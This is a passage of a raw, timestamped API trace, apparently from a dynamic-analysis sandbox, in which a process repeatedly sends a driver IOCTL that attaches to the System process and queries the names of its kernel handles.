dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.689] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.689] PsAcquireProcessExitSynchronization () returned 0x0 [0119.689] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.689] ObReferenceObjectByHandle (in: Handle=0xffffffff80000a8c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003b8bf20, HandleInformation=0x0) returned 0x0 [0119.689] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.689] PsReleaseProcessExitSynchronization () returned 0x2 [0119.689] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.689] ObQueryNameString (in: Object=0xfffffa8003b8bf20, ObjectNameInfo=0xfffffa8001a05044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a05044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.689] ObfDereferenceObject (Object=0xfffffa8003b8bf20) returned 0x2 [0119.689] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.689] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.689] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.689] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.689] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.689] PsAcquireProcessExitSynchronization () returned 0x0 [0119.689] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.689] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003421a20, HandleInformation=0x0) returned 0x0 [0119.689] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.689] PsReleaseProcessExitSynchronization () returned 0x2 [0119.689] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.689] ObQueryNameString (in: Object=0xfffffa8003421a20, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.689] ObfDereferenceObject (Object=0xfffffa8003421a20) returned 0x2 [0119.689] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.689] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.689] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.689] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.689] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.689] PsAcquireProcessExitSynchronization () returned 0x0 [0119.689] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.689] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800258ec90, HandleInformation=0x0) returned 0x0 [0119.689] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.689] PsReleaseProcessExitSynchronization () returned 0x2 [0119.689] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.689] ObQueryNameString (in: Object=0xfffffa800258ec90, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.689] ObfDereferenceObject (Object=0xfffffa800258ec90) returned 0x2 [0119.690] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.690] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.690] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.690] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.690] PsAcquireProcessExitSynchronization () returned 0x0 [0119.690] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.690] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003161e20, HandleInformation=0x0) returned 0x0 [0119.690] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.690] PsReleaseProcessExitSynchronization () returned 0x2 [0119.690] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.690] ObQueryNameString (in: Object=0xfffffa8003161e20, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.690] ObfDereferenceObject (Object=0xfffffa8003161e20) returned 0x2 [0119.690] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.690] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.690] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.690] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.690] PsAcquireProcessExitSynchronization () returned 0x0 [0119.690] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.690] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800390e050, HandleInformation=0x0) returned 0x0 [0119.690] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.690] PsReleaseProcessExitSynchronization () returned 0x2 [0119.690] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.690] ObQueryNameString (in: Object=0xfffffa800390e050, ObjectNameInfo=0xfffffa800202c044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa800202c044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.690] ObfDereferenceObject (Object=0xfffffa800390e050) returned 0x2 [0119.690] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.690] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.690] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.690] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.690] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.690] PsAcquireProcessExitSynchronization () returned 0x0 [0119.690] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.690] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ab8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80024f8050, HandleInformation=0x0) returned 0x0 [0119.690] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.691] PsReleaseProcessExitSynchronization () returned 0x2 [0119.691] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.691] ObQueryNameString (in: Object=0xfffffa80024f8050, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.691] ObfDereferenceObject (Object=0xfffffa80024f8050) returned 0x2 [0119.691] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.691] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.691] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.691] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.691] PsAcquireProcessExitSynchronization () returned 0x0 [0119.691] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.691] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80025ec750, HandleInformation=0x0) returned 0x0 [0119.691] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.691] PsReleaseProcessExitSynchronization () returned 0x2 [0119.691] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.691] ObQueryNameString (in: Object=0xfffffa80025ec750, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.691] ObfDereferenceObject (Object=0xfffffa80025ec750) returned 0x2 [0119.691] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.691] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.691] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.691] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.691] PsAcquireProcessExitSynchronization () returned 0x0 [0119.691] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.691] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ac8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80023084d0, HandleInformation=0x0) returned 0x0 [0119.691] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.691] PsReleaseProcessExitSynchronization () returned 0x2 [0119.691] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.691] ObQueryNameString (in: Object=0xfffffa80023084d0, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.691] ObfDereferenceObject (Object=0xfffffa80023084d0) returned 0x2 [0119.691] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.691] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.691] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.691] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.691] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.692] PsAcquireProcessExitSynchronization () returned 0x0 [0119.692] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.692] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800390ee50, HandleInformation=0x0) returned 0x0 [0119.692] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.692] PsReleaseProcessExitSynchronization () returned 0x2 [0119.692] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.692] ObQueryNameString (in: Object=0xfffffa800390ee50, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.692] ObfDereferenceObject (Object=0xfffffa800390ee50) returned 0x2 [0119.692] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.692] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.692] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.692] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.692] PsAcquireProcessExitSynchronization () returned 0x0 [0119.692] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.692] ObReferenceObjectByHandle (in: Handle=0xffffffff80000ad8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800235a460, HandleInformation=0x0) returned 0x0 [0119.692] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.692] PsReleaseProcessExitSynchronization () returned 0x2 [0119.692] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.692] ObQueryNameString (in: Object=0xfffffa800235a460, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.692] ObfDereferenceObject (Object=0xfffffa800235a460) returned 0x2 [0119.692] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.692] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.692] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.692] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.692] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.692] PsAcquireProcessExitSynchronization () returned 0x0 [0119.692] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.692] ObReferenceObjectByHandle (in: Handle=0xffffffff80000aec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80024f8f20, HandleInformation=0x0) returned 0x0 [0119.692] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.692] PsReleaseProcessExitSynchronization () returned 0x2 [0119.692] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.692] ObQueryNameString (in: Object=0xfffffa80024f8f20, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.692] ObfDereferenceObject (Object=0xfffffa80024f8f20) returned 0x2 [0119.692] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.693] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.693] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.693] PsAcquireProcessExitSynchronization () returned 0x0 [0119.693] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.693] ObReferenceObjectByHandle (in: Handle=0xffffffff80000af0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8010da5050, HandleInformation=0x0) returned 0x0 [0119.693] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.693] PsReleaseProcessExitSynchronization () returned 0x2 [0119.693] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.693] ObQueryNameString (in: Object=0xfffffa8010da5050, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.693] ObfDereferenceObject (Object=0xfffffa8010da5050) returned 0x2 [0119.693] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.693] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1fb05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0119.693] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.693] PsAcquireProcessExitSynchronization () returned 0x0 [0119.693] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.693] ObReferenceObjectByHandle (in: Handle=0xffffffff80000afc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0119.693] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.693] PsReleaseProcessExitSynchronization () returned 0x2 [0119.693] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.693] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.693] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.693] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.693] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.693] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.693] PsAcquireProcessExitSynchronization () returned 0x0 [0119.693] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.693] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b00, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80036033c0, HandleInformation=0x0) returned 0x0 [0119.693] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.693] PsReleaseProcessExitSynchronization () returned 0x2 [0119.694] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.694] ObQueryNameString (in: Object=0xfffffa80036033c0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.694] ObfDereferenceObject (Object=0xfffffa80036033c0) returned 0x2 [0119.694] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.694] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.694] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.694] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.694] PsAcquireProcessExitSynchronization () returned 0x0 [0119.694] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.694] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b04, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003732a00, HandleInformation=0x0) returned 0x0 [0119.694] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.694] PsReleaseProcessExitSynchronization () returned 0x2 [0119.694] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.694] ObQueryNameString (in: Object=0xfffffa8003732a00, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.694] ObfDereferenceObject (Object=0xfffffa8003732a00) returned 0x2 [0119.694] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.694] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.694] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.694] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.694] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.694] PsAcquireProcessExitSynchronization () returned 0x0 [0119.694] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.694] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80037d1f20, HandleInformation=0x0) returned 0x0 [0119.694] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.694] PsReleaseProcessExitSynchronization () returned 0x2 